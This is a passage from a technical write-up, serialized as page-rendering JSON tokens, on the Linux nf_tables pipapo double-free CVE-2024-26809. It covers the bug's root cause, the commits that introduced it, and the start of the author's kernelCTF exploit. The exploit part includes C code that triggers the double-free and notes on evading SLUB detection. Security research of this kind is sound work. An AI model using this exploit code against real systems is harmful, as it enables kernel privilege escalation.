nft_commit_release",{"type":21,"tag":85,"props":53852,"children":53853},{"style":114},[53854],{"type":26,"value":53842},{"type":21,"tag":85,"props":53856,"children":53857},{"class":87,"line":1402},[53858],{"type":21,"tag":85,"props":53859,"children":53860},{"style":114},[53861],{"type":26,"value":10009},{"type":21,"tag":85,"props":53863,"children":53864},{"class":87,"line":3145},[53865],{"type":21,"tag":85,"props":53866,"children":53867},{"style":114},[53868],{"type":26,"value":2671},{"type":21,"tag":85,"props":53870,"children":53871},{"class":87,"line":3246},[53872],{"type":21,"tag":85,"props":53873,"children":53874},{"style":114},[53875],{"type":26,"value":10733},{"type":21,"tag":85,"props":53877,"children":53878},{"class":87,"line":3255},[53879,53883,53887,53892,53896,53900,53905,53909,53913],{"type":21,"tag":85,"props":53880,"children":53881},{"style":102},[53882],{"type":26,"value":51500},{"type":21,"tag":85,"props":53884,"children":53885},{"style":102},[53886],{"type":26,"value":51505},{"type":21,"tag":85,"props":53888,"children":53889},{"style":1021},[53890],{"type":26,"value":53891}," nft_commit_release",{"type":21,"tag":85,"props":53893,"children":53894},{"style":114},[53895],{"type":26,"value":1439},{"type":21,"tag":85,"props":53897,"children":53898},{"style":102},[53899],{"type":26,"value":9814},{"type":21,"tag":85,"props":53901,"children":53902},{"style":114},[53903],{"type":26,"value":53904}," nft_trans ",{"type":21,"tag":85,"props":53906,"children":53907},{"style":169},[53908],{"type":26,"value":3052},{"type":21,"tag":85,"props":53910,"children":53911},{"style":120},[53912],{"type":26,"value":53017},{"type":21,"tag":85,"props":53914,"children":53915},{"style":114},[53916],{"type":26,"value":2485},{"type":21,"tag":85,"props":53918,"children":53919},{"class":87,"line":3286},[53920],{"type":21,"tag":85,"props":53921,"children":53922},{"style":114},[53923],{"type":26,"value":11296},{"type":21,"tag":85,"props":53925,"children":53926},{"class":87,"line":3295},[53927,53932,53936,53940,53944,53948],{"type":21,"tag":85,"props":53928,"children":53929},{"style":2885},[53930],{"type":26,"value":53931}," switch",{"type":21,"tag":85,"props":53933,"children":53934},{"style":114},[53935],{"type":26,"value":717},{"type":21,"tag":85,"props":53937,"children":53938},{"style":120},[53939],{"type":26,"value":53017},{"type":21,"tag":85,"props":53941,"children":53942},{"style":114},[53943],{"type":26,"value":14175},{"type":21,"tag":85,"props":53945,"children":53946},{"style":120},[53947],{"type":26,"value":53055},{"type":21,"tag":85,"props":53949,"children":53950},{"style":114},[53951],{"type":26,"value":15222},{"type":21,"tag":85,"props":53953,"children":53954},{"class":87,"line":3308},[53955],{"type":21,"tag":85,"props":53956,"children":53957},{"style":114},[53958],{"type":26,"value":10733},{"type":21,"tag":85,"props":53960,"children":53961},{"class":87,"line":3333},[53962,53967],{"type":21,"tag":85,"props":53963,"children":53964},{"style":2885},[53965],{"type":26,"value":53966}," case",{"type":21,"tag":85,"props":53968,"children":53969},{"style":114},[53970],{"type":26,"value":53971}," NFT_MSG_DELSET:\n",{"type":21,"tag":85,"props":53973,"children":53974},{"class":87,"line":3369},[53975,53979],{"type":21,"tag":85,"props":53976,"children":53977},{"style":2885},[53978],{"type":26,"value":53966},{"type":21,"tag":85,"props":53980,"children":53981},{"style":114},[53982],{"type":26,"value":53983}," NFT_MSG_DESTROYSET:\n",{"type":21,"tag":85,"props":53985,"children":53986},{"class":87,"line":3377},[53987,53992,53996,54000,54004,54008,54012,54016,54020],{"type":21,"tag":85,"props":53988,"children":53989},{"style":1021},[53990],{"type":26,"value":53991},"  nft_set_destroy",{"type":21,"tag":85,"props":53993,"children":53994},{"style":114},[53995],{"type":26,"value":1439},{"type":21,"tag":85,"props":53997,"children":53998},{"style":169},[53999],{"type":26,"value":2238},{"type":21,"tag":85,"props":54001,"children":54002},{"style":114},[54003],{"type":26,"value":53017},{"type":21,"tag":85,"props":54005,"children":54006},{"style":169},[54007],{"type":26,"value":14175},{"type":21,"tag":85,"props":54009,"children":54010},{"style":120},[54011],{"type":26,"value":20708},{"type":21,"tag":85,"props":54013,"children":54014},{"style":114},[54015],{"type":26,"value":256},{"type":21,"tag":85,"props":54017,"children":54018},{"style":1021},[54019],{"type":26,"value":52983},{"type":21,"tag":85,"props":54021,"children":54022},{"style":114},[54023],{"type":26,"value":54024},"(trans));\n",{"type":21,"tag":85,"props":54026,"children":54027},{"class":87,"line":3386},[54028],{"type":21,"tag":85,"props":54029,"children":54030},{"style":114},[54031],{"type":26,"value":10733},{"type":21,"tag":85,"props":54033,"children":54034},{"class":87,"line":3394},[54035],{"type":21,"tag":85,"props":54036,"children":54037},{"style":114},[54038],{"type":26,"value":2671},{"type":21,"tag":85,"props":54040,"children":54041},{"class":87,"line":3410},[54042],{"type":21,"tag":85,"props":54043,"children":54044},{"style":114},[54045],{"type":26,"value":10733},{"type":21,"tag":85,"props":54047,"children":54048},{"class":87,"line":3427},[54049,54053,54057,54062,54066,54070,54074,54078,54082,54087,54091,54095,54099],{"type":21,"tag":85,"props":54050,"children":54051},{"style":102},[54052],{"type":26,"value":51500},{"type":21,"tag":85,"props":54054,"children":54055},{"style":102},[54056],{"type":26,"value":51505},{"type":21,"tag":85,"props":54058,"children":54059},{"style":1021},[54060],{"type":26,"value":54061}," nft_set_destroy",{"type":21,"tag":85,"props":54063,"children":54064},{"style":114},[54065],{"type":26,"value":1439},{"type":21,"tag":85,"props":54067,"children":54068},{"style":102},[54069],{"type":26,"value":10069},{"type":21,"tag":85,"props":54071,"children":54072},{"style":102},[54073],{"type":26,"value":21579},{"type":21,"tag":85,"props":54075,"children":54076},{"style":114},[54077],{"type":26,"value":51527},{"type":21,"tag":85,"props":54079,"children":54080},{"style":169},[54081],{"type":26,"value":3052},{"type":21,"tag":85,"props":54083,"children":54084},{"style":114},[54085],{"type":26,"value":54086},"ctx, ",{"type":21,"tag":85,"props":54088,"children":54089},{"style":102},[54090],{"type":26,"value":9814},{"type":21,"tag":85,"props":54092,"children":54093},{"style":114},[54094],{"type":26,"value":51555},{"type":21,"tag":85,"props":54096,"children":54097},{"style":169},[54098],{"type":26,"value":3052},{"type":21,"tag":85,"props":54100,"children":54101},{"style":114},[54102],{"type":26,"value":54103},"set)\n",{"type":21,"tag":85,"props":54105,"children":54106},{"class":87,"line":3445},[54107],{"type":21,"tag":85,"props":54108,"children":54109},{"style":114},[54110],{"type":26,"value":11296},{"type":21,"tag":85,"props":54112,"children":54113},{"class":87,"line":3490},[54114],{"type":21,"tag":85,"props":54115,"children":54116},{"style":114},[54117],{"type":26,"value":10733},{"type":21,"tag":85,"props":54119,"children":54120},{"class":87,"line":3596},[54121,54125,54129,54133,54137,54142],{"type":21,"tag":85,"props":54122,"children":54123},{"style":120},[54124],{"type":26,"value":53542},{"type":21,"tag":85,"props":54126,"children":54127},{"style":114},[54128],{"type":26,"value":14175},{"type":21,"tag":85,"props":54130,"children":54131},{"style":120},[54132],{"type":26,"value":53126},{"type":21,"tag":85,"props":54134,"children":54135},{"style":114},[54136],{"type":26,"value":14175},{"type":21,"tag":85,"props":54138,"children":54139},{"style":1021},[54140],{"type":26,"value":54141},"destroy",{"type":21,"tag":85,"props":54143,"children":54144},{"style":114},[54145],{"type":26,"value":54146},"(ctx, set);\n",{"type":21,"tag":85,"props":54148,"children":54149},{"class":87,"line":23938},[54150],{"type":21,"tag":85,"props":54151,"children":54152},{"style":114},[54153],{"type":26,"value":10733},{"type":21,"tag":85,"props":54155,"children":54156},{"class":87,"line":23973},[54157],{"type":21,"tag":85,"props":54158,"children":54159},{"style":114},[54160],{"type":26,"value":2671},{"type":21,"tag":22,"props":54162,"children":54163},{},[54164,54166,54171,54173,54178,54180,54186,54188,54193,54195,54200,54202,54206,54208,54213,54214,54218,54220,54226],{"type":26,"value":54165},"It may appear as if it would be impossible to make ",{"type":21,"tag":66,"props":54167,"children":54169},{"className":54168},[],[54170],{"type":26,"value":51429},{"type":26,"value":54172}," true in the release step because the ",{"type":21,"tag":66,"props":54174,"children":54176},{"className":54175},[],[54177],{"type":26,"value":52801},{"type":26,"value":54179}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":21,"tag":66,"props":54181,"children":54183},{"className":54182},[],[54184],{"type":26,"value":54185},"set->dead",{"type":26,"value":54187}," flag. If a ",{"type":21,"tag":66,"props":54189,"children":54191},{"className":54190},[],[54192],{"type":26,"value":51475},{"type":26,"value":54194}," was marked for deletion, it receives the ",{"type":21,"tag":66,"props":54196,"children":54198},{"className":54197},[],[54199],{"type":26,"value":54185},{"type":26,"value":54201}," flag ",{"type":21,"tag":85,"props":54203,"children":54204},{},[54205],{"type":26,"value":3895},{"type":26,"value":54207},". If this flag is set, then the commit path will skip any commitments to this ",{"type":21,"tag":66,"props":54209,"children":54211},{"className":54210},[],[54212],{"type":26,"value":51475},{"type":26,"value":790},{"type":21,"tag":85,"props":54215,"children":54216},{},[54217],{"type":26,"value":17951},{"type":26,"value":54219},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":21,"tag":66,"props":54221,"children":54223},{"className":54222},[],[54224],{"type":26,"value":54225},"priv ->dirty",{"type":26,"value":54227}," flag is not cleared when it should have been.",{"type":21,"tag":54,"props":54229,"children":54231},{"id":54230},"tracing-the-guilty-commit",[54232],{"type":26,"value":54233},"Tracing the guilty commit",{"type":21,"tag":22,"props":54235,"children":54236},{},[54237,54239,54246,54248,54254,54256,54261,54263,54269],{"type":26,"value":54238},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":21,"tag":335,"props":54240,"children":54243},{"href":54241,"rel":54242},"https://ubuntu.com/security/CVE-2024-26809",[339],[54244],{"type":26,"value":54245},"advisories",{"type":26,"value":54247}," about this vulnerability will say it was introduced by this ",{"type":21,"tag":335,"props":54249,"children":54252},{"href":54250,"rel":54251},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[339],[54253],{"type":26,"value":53135},{"type":26,"value":54255},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":21,"tag":66,"props":54257,"children":54259},{"className":54258},[],[54260],{"type":26,"value":54185},{"type":26,"value":54262}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":21,"tag":335,"props":54264,"children":54267},{"href":54265,"rel":54266},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[339],[54268],{"type":26,"value":53135},{"type":26,"value":73},{"type":21,"tag":22,"props":54271,"children":54272},{},[54273],{"type":26,"value":54274},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":21,"tag":75,"props":54276,"children":54280},{"className":54277,"code":54278,"language":54279,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[54281],{"type":21,"tag":66,"props":54282,"children":54283},{"__ignoreMap":7},[54284,54292,54300,54307,54315,54323,54330,54338,54345,54353,54361,54368,54376,54384,54392,54400,54408,54416,54424,54432,54440,54447,54455,54463,54470,54478,54486,54494,54502,54510,54517,54525,54533],{"type":21,"tag":85,"props":54285,"children":54286},{"class":87,"line":88},[54287],{"type":21,"tag":85,"props":54288,"children":54289},{},[54290],{"type":26,"value":54291},"New elements that reside in the clone are not released in case that the\n",{"type":21,"tag":85,"props":54293,"children":54294},{"class":87,"line":98},[54295],{"type":21,"tag":85,"props":54296,"children":54297},{},[54298],{"type":26,"value":54299},"transaction is aborted.\n",{"type":21,"tag":85,"props":54301,"children":54302},{"class":87,"line":151},[54303],{"type":21,"tag":85,"props":54304,"children":54305},{"emptyLinePlaceholder":16},[54306],{"type":26,"value":703},{"type":21,"tag":85,"props":54308,"children":54309},{"class":87,"line":160},[54310],{"type":21,"tag":85,"props":54311,"children":54312},{},[54313],{"type":26,"value":54314},"[16302.231754] ------------[ cut here ]------------\n",{"type":21,"tag":85,"props":54316,"children":54317},{"class":87,"line":185},[54318],{"type":21,"tag":85,"props":54319,"children":54320},{},[54321],{"type":26,"value":54322},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":85,"props":54324,"children":54325},{"class":87,"line":501},[54326],{"type":21,"tag":85,"props":54327,"children":54328},{},[54329],{"type":26,"value":10733},{"type":21,"tag":85,"props":54331,"children":54332},{"class":87,"line":697},[54333],{"type":21,"tag":85,"props":54334,"children":54335},{},[54336],{"type":26,"value":54337},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":21,"tag":85,"props":54339,"children":54340},{"class":87,"line":706},[54341],{"type":21,"tag":85,"props":54342,"children":54343},{},[54344],{"type":26,"value":10733},{"type":21,"tag":85,"props":54346,"children":54347},{"class":87,"line":1100},[54348],{"type":21,"tag":85,"props":54349,"children":54350},{},[54351],{"type":26,"value":54352},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":21,"tag":85,"props":54354,"children":54355},{"class":87,"line":1339},[54356],{"type":21,"tag":85,"props":54357,"children":54358},{},[54359],{"type":26,"value":54360},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":21,"tag":85,"props":54362,"children":54363},{"class":87,"line":1348},[54364],{"type":21,"tag":85,"props":54365,"children":54366},{},[54367],{"type":26,"value":10733},{"type":21,"tag":85,"props":54369,"children":54370},{"class":87,"line":1386},[54371],{"type":21,"tag":85,"props":54372,"children":54373},{},[54374],{"type":26,"value":54375},"[16302.231917] Call Trace:\n",{"type":21,"tag":85,"props":54377,"children":54378},{"class":87,"line":1394},[54379],{"type":21,"tag":85,"props":54380,"children":54381},{},[54382],{"type":26,"value":54383},"[16302.231919]  \u003CTASK>\n",{"type":21,"tag":85,"props":54385,"children":54386},{"class":87,"line":1402},[54387],{"type":21,"tag":85,"props":54388,"children":54389},{},[54390],{"type":26,"value":54391},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":21,"tag":85,"props":54393,"children":54394},{"class":87,"line":3145},[54395],{"type":21,"tag":85,"props":54396,"children":54397},{},[54398],{"type":26,"value":54399},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":21,"tag":85,"props":54401,"children":54402},{"class":87,"line":3246},[54403],{"type":21,"tag":85,"props":54404,"children":54405},{},[54406],{"type":26,"value":54407},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":21,"tag":85,"props":54409,"children":54410},{"class":87,"line":3255},[54411],{"type":21,"tag":85,"props":54412,"children":54413},{},[54414],{"type":26,"value":54415},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":21,"tag":85,"props":54417,"children":54418},{"class":87,"line":3286},[54419],{"type":21,"tag":85,"props":54420,"children":54421},{},[54422],{"type":26,"value":54423},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":21,"tag":85,"props":54425,"children":54426},{"class":87,"line":3295},[54427],{"type":21,"tag":85,"props":54428,"children":54429},{},[54430],{"type":26,"value":54431},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":21,"tag":85,"props":54433,"children":54434},{"class":87,"line":3308},[54435],{"type":21,"tag":85,"props":54436,"children":54437},{},[54438],{"type":26,"value":54439},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":21,"tag":85,"props":54441,"children":54442},{"class":87,"line":3333},[54443],{"type":21,"tag":85,"props":54444,"children":54445},{"emptyLinePlaceholder":16},[54446],{"type":26,"value":703},{"type":21,"tag":85,"props":54448,"children":54449},{"class":87,"line":3369},[54450],{"type":21,"tag":85,"props":54451,"children":54452},{},[54453],{"type":26,"value":54454},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":21,"tag":85,"props":54456,"children":54457},{"class":87,"line":3377},[54458],{"type":21,"tag":85,"props":54459,"children":54460},{},[54461],{"type":26,"value":54462},"elements in the lookup tables.\n",{"type":21,"tag":85,"props":54464,"children":54465},{"class":87,"line":3386},[54466],{"type":21,"tag":85,"props":54467,"children":54468},{"emptyLinePlaceholder":16},[54469],{"type":26,"value":703},{"type":21,"tag":85,"props":54471,"children":54472},{"class":87,"line":3394},[54473],{"type":21,"tag":85,"props":54474,"children":54475},{},[54476],{"type":26,"value":54477},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":21,"tag":85,"props":54479,"children":54480},{"class":87,"line":3410},[54481],{"type":21,"tag":85,"props":54482,"children":54483},{},[54484],{"type":26,"value":54485},"cloned matching data if priv->dirty is set, because that means that\n",{"type":21,"tag":85,"props":54487,"children":54488},{"class":87,"line":3427},[54489],{"type":21,"tag":85,"props":54490,"children":54491},{},[54492],{"type":26,"value":54493},"cloned data might point to additional elements we did not commit to the\n",{"type":21,"tag":85,"props":54495,"children":54496},{"class":87,"line":3445},[54497],{"type":21,"tag":85,"props":54498,"children":54499},{},[54500],{"type":26,"value":54501},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":21,"tag":85,"props":54503,"children":54504},{"class":87,"line":3490},[54505],{"type":21,"tag":85,"props":54506,"children":54507},{},[54508],{"type":26,"value":54509},"to it).\"\n",{"type":21,"tag":85,"props":54511,"children":54512},{"class":87,"line":3596},[54513],{"type":21,"tag":85,"props":54514,"children":54515},{"emptyLinePlaceholder":16},[54516],{"type":26,"value":703},{"type":21,"tag":85,"props":54518,"children":54519},{"class":87,"line":23938},[54520],{"type":21,"tag":85,"props":54521,"children":54522},{},[54523],{"type":26,"value":54524},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":21,"tag":85,"props":54526,"children":54527},{"class":87,"line":23973},[54528],{"type":21,"tag":85,"props":54529,"children":54530},{},[54531],{"type":26,"value":54532},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":21,"tag":85,"props":54534,"children":54535},{"class":87,"line":23981},[54536],{"type":21,"tag":85,"props":54537,"children":54538},{},[54539],{"type":26,"value":54540},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":21,"tag":22,"props":54542,"children":54543},{},[54544,54546,54551,54553,54558,54560,54565,54567,54572],{"type":26,"value":54545},"As we previously discussed, committing changes to a pipapo ",{"type":21,"tag":66,"props":54547,"children":54549},{"className":54548},[],[54550],{"type":26,"value":51475},{"type":26,"value":54552}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":21,"tag":66,"props":54554,"children":54556},{"className":54555},[],[54557],{"type":26,"value":52801},{"type":26,"value":54559}," method by simply replacing the ",{"type":21,"tag":66,"props":54561,"children":54563},{"className":54562},[],[54564],{"type":26,"value":51475},{"type":26,"value":54566},"s match object with its updated clone. So checking the ",{"type":21,"tag":66,"props":54568,"children":54570},{"className":54569},[],[54571],{"type":26,"value":51429},{"type":26,"value":54573}," flag and then calling free again ensures we also free uncommitted changes.",{"type":21,"tag":22,"props":54575,"children":54576},{},[54577,54579,54584],{"type":26,"value":54578},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":21,"tag":66,"props":54580,"children":54582},{"className":54581},[],[54583],{"type":26,"value":51475},{"type":26,"value":54585},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":21,"tag":22,"props":54587,"children":54588},{},[54589,54591,54597,54599,54604,54606,54611],{"type":26,"value":54590},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":21,"tag":66,"props":54592,"children":54594},{"className":54593},[],[54595],{"type":26,"value":54596},"set->ops->destroy()",{"type":26,"value":54598}," could be called without clearing the ",{"type":21,"tag":66,"props":54600,"children":54602},{"className":54601},[],[54603],{"type":26,"value":51429},{"type":26,"value":54605}," flag, which was fine considering you didn't have duplicated views of the ",{"type":21,"tag":66,"props":54607,"children":54609},{"className":54608},[],[54610],{"type":26,"value":51467},{"type":26,"value":54612},"s, so they would all be in the clone set.",{"type":21,"tag":22,"props":54614,"children":54615},{},[54616,54618,54623],{"type":26,"value":54617},"But when the ",{"type":21,"tag":66,"props":54619,"children":54621},{"className":54620},[],[54622],{"type":26,"value":54185},{"type":26,"value":54624}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":21,"tag":22,"props":54626,"children":54627},{},[54628],{"type":26,"value":54629},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":21,"tag":54,"props":54631,"children":54633},{"id":54632},"kernelctf-exploit",[54634],{"type":26,"value":54635},"KernelCTF exploit",{"type":21,"tag":22,"props":54637,"children":54638},{},[54639,54641,54647,54649,54656],{"type":26,"value":54640},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":21,"tag":66,"props":54642,"children":54644},{"className":54643},[],[54645],{"type":26,"value":54646},"nft_object + udata",{"type":26,"value":54648}," technique shared by lonial con in a ",{"type":21,"tag":335,"props":54650,"children":54653},{"href":54651,"rel":54652},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[339],[54654],{"type":26,"value":54655},"previous kernelCTF exploit",{"type":26,"value":73},{"type":21,"tag":10022,"props":54658,"children":54660},{"id":54659},"trigger-uafavoid-double-free-detection",[54661],{"type":26,"value":54662},"Trigger UAF/avoid double-free detection",{"type":21,"tag":22,"props":54664,"children":54665},{},[54666,54668,54674,54676,54682],{"type":26,"value":54667},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":21,"tag":66,"props":54669,"children":54671},{"className":54670},[],[54672],{"type":26,"value":54673},"nft_set_pipapo_match_destroy",{"type":26,"value":54675}," iterates over the ",{"type":21,"tag":66,"props":54677,"children":54679},{"className":54678},[],[54680],{"type":26,"value":54681},"setelems",{"type":26,"value":54683}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":21,"tag":841,"props":54685,"children":54686},{},[54687,54692,54697,54702],{"type":21,"tag":845,"props":54688,"children":54689},{},[54690],{"type":26,"value":54691},"Element A gets freed",{"type":21,"tag":845,"props":54693,"children":54694},{},[54695],{"type":26,"value":54696},"Element B gets free",{"type":21,"tag":845,"props":54698,"children":54699},{},[54700],{"type":26,"value":54701},"Element A gets freed again (double-free)",{"type":21,"tag":845,"props":54703,"children":54704},{},[54705],{"type":26,"value":54706},"Element B gets freed again (double-free)",{"type":21,"tag":75,"props":54708,"children":54710},{"className":29553,"code":54709,"language":29555,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[54711],{"type":21,"tag":66,"props":54712,"children":54713},{"__ignoreMap":7},[54714,54721,54782,54789,54796,54804,54811,54818,54826,54850,54871,54905,54966,54973,54981,55033,55040,55066,55093,55132,55161,55190,55212,55219,55226,55233,55241,55248,55256,55269,55282,55302,55309,55317,55339,55371,55416,55452,55480,55487,55494,55502,55509,55525,55532],{"type":21,"tag":85,"props":54715,"children":54716},{"class":87,"line":88},[54717],{"type":21,"tag":85,"props":54718,"children":54719},{"style":114},[54720],{"type":26,"value":10733},{"type":21,"tag":85,"props":54722,"children":54723},{"class":87,"line":98},[54724,54729,54733,54738,54742,54747,54751,54756,54761,54765,54769,54773,54778],{"type":21,"tag":85,"props":54725,"children":54726},{"style":114},[54727],{"type":26,"value":54728},"static void trigger_uaf(",{"type":21,"tag":85,"props":54730,"children":54731},{"style":102},[54732],{"type":26,"value":9814},{"type":21,"tag":85,"props":54734,"children":54735},{"style":108},[54736],{"type":26,"value":54737}," mnl_socket",{"type":21,"tag":85,"props":54739,"children":54740},{"style":102},[54741],{"type":26,"value":10231},{"type":21,"tag":85,"props":54743,"children":54744},{"style":120},[54745],{"type":26,"value":54746},"nl",{"type":21,"tag":85,"props":54748,"children":54749},{"style":114},[54750],{"type":26,"value":256},{"type":21,"tag":85,"props":54752,"children":54753},{"style":102},[54754],{"type":26,"value":54755},"size_t",{"type":21,"tag":85,"props":54757,"children":54758},{"style":120},[54759],{"type":26,"value":54760}," size",{"type":21,"tag":85,"props":54762,"children":54763},{"style":114},[54764],{"type":26,"value":256},{"type":21,"tag":85,"props":54766,"children":54767},{"style":102},[54768],{"type":26,"value":19473},{"type":21,"tag":85,"props":54770,"children":54771},{"style":102},[54772],{"type":26,"value":10231},{"type":21,"tag":85,"props":54774,"children":54775},{"style":120},[54776],{"type":26,"value":54777},"msgqids",{"type":21,"tag":85,"props":54779,"children":54780},{"style":114},[54781],{"type":26,"value":2485},{"type":21,"tag":85,"props":54783,"children":54784},{"class":87,"line":151},[54785],{"type":21,"tag":85,"props":54786,"children":54787},{"style":114},[54788],{"type":26,"value":11296},{"type":21,"tag":85,"props":54790,"children":54791},{"class":87,"line":160},[54792],{"type":21,"tag":85,"props":54793,"children":54794},{"style":114},[54795],{"type":26,"value":10733},{"type":21,"tag":85,"props":54797,"children":54798},{"class":87,"line":185},[54799],{"type":21,"tag":85,"props":54800,"children":54801},{"style":114},[54802],{"type":26,"value":54803},"    // TRANSACTION 2\n",{"type":21,"tag":85,"props":54805,"children":54806},{"class":87,"line":501},[54807],{"type":21,"tag":85,"props":54808,"children":54809},{"style":114},[54810],{"type":26,"value":10733},{"type":21,"tag":85,"props":54812,"children":54813},{"class":87,"line":697},[54814],{"type":21,"tag":85,"props":54815,"children":54816},{"emptyLinePlaceholder":16},[54817],{"type":26,"value":703},{"type":21,"tag":85,"props":54819,"children":54820},{"class":87,"line":706},[54821],{"type":21,"tag":85,"props":54822,"children":54823},{"style":114},[54824],{"type":26,"value":54825},"    // create 